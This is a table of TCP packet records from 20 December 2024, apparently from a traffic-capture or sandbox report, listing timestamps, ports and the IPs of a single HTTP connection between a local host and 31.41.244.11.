Dec 20, 2024 04:12:48.118680954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.118724108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.119656086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.119695902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.119699955 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.119730949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.120747089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.120791912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.120852947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.120894909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.121911049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.121998072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.122015953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.122971058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.123023987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.123069048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.123790026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.124089003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.124135971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.124211073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.124253035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.125214100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.125257015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.125324965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.125391006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.126281023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.126326084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.126386881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.126425982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.127413034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.127459049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.127516031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.127554893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.128501892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.128560066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.128597021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.128640890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.129606962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.129735947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.129997015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.130700111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.130784988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.131793976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.131866932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.131911039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.132041931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.132086039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.132937908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.132977962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.133148909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.133204937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.134057999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.134102106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.134177923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.134221077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.135138988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.135185957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.135270119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.135309935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.136240959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.136284113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.136363029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.136420012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.137378931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.137579918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.138009071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.138462067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.138554096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.139544010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.139602900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.139630079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.140137911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.140644073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.140690088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.140799999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.140842915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.141789913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.141829967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.141879082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.141921043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.142893076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.142960072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.143060923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.143104076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.143989086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.144032955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.144118071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.144169092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.145088911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.145133972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.145196915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.145243883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.146354914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.146399021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.146476984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.146517038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.147310972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.147353888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.147423983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.147464037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.148443937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.148484945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.148623943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.148665905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.149517059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.149563074 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.149611950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.149651051 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.150604963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.150645018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.150727034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.150768042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.151743889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.151789904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.151833057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.151874065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.152837038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.152879000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.152951002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.152990103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.153945923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.153986931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.154033899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.154074907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.155041933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.155222893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.155283928 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.156146049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.156274080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.156301975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.156311989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.157263994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.157305002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.157368898 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.157412052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.158358097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.158399105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.158474922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.158574104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.159444094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.159483910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.159564018 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.159601927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.160567045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.160609961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.160669088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.160707951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.161694050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.161732912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.161802053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.161842108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.162781000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.162823915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.162900925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.162939072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.163897991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.163942099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.164000988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.164047956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.165018082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.165059090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.165200949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.165246964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.166093111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.166136980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.166203022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.166245937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.167256117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.167300940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.167377949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.167419910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.168319941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.168363094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.168510914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.168554068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.169419050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.169466019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.169531107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.169572115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.170542955 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.170587063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.170663118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.170703888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.171684027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.171726942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.171751976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.171791077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.172719002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.172763109 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.306817055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.306906939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.307311058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.307393074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.307413101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.307450056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.308418036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.308525085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.309554100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.309617996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.309655905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.309987068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.310616016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.310729027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.310772896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.311707973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.311825037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.311893940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.312813044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.312949896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.312992096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.313946009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.314017057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.315016985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.315068960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.315093994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.316133022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.316183090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.316231012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.317264080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.317312002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.317354918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.317982912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.318348885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.318418026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.318454027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.318497896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.319463968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.319505930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.319555998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.319592953 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.320578098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.320620060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.320846081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.320888042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.321691990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.321727037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.321734905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.321770906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.322774887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.322817087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.322902918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.322942972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.323888063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.323930025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.323978901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.324019909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.324994087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.325037003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.325098038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.325136900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.326070070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.326113939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.326180935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.326353073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.327222109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.327264071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.327325106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.327368021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.328308105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.328353882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.328378916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.328461885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.329401970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.329443932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.329499006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.329540014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.330518961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.330563068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.330589056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.330629110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.331638098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.331743002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.332725048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.332787037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.332812071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.333772898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.333841085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.333879948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.333892107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.333919048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.334937096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.334986925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.335015059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.335056067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.336055994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.336102009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.336105108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.336138010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.337174892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.337220907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.337274075 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.337316990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.338274956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.338376045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.338510990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.338510990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.339378119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.339422941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.339447021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.339488983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.340486050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.340528011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.340595007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.340634108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.341564894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.341609955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.341666937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.341710091 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.342699051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.342746019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.342825890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.342869997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.343765020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.343812943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.343883991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.343924999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.344902039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.344943047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.344993114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.345033884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.346007109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.346050024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.346117973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.346163988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.347110987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.347153902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.347218990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.347259998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.348208904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.348253012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.348324060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.348365068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.349339008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.349376917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.349453926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.349500895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.350451946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.350493908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.350503922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.350599051 CET	49875	80	192.168.2.4	31.41.244.11
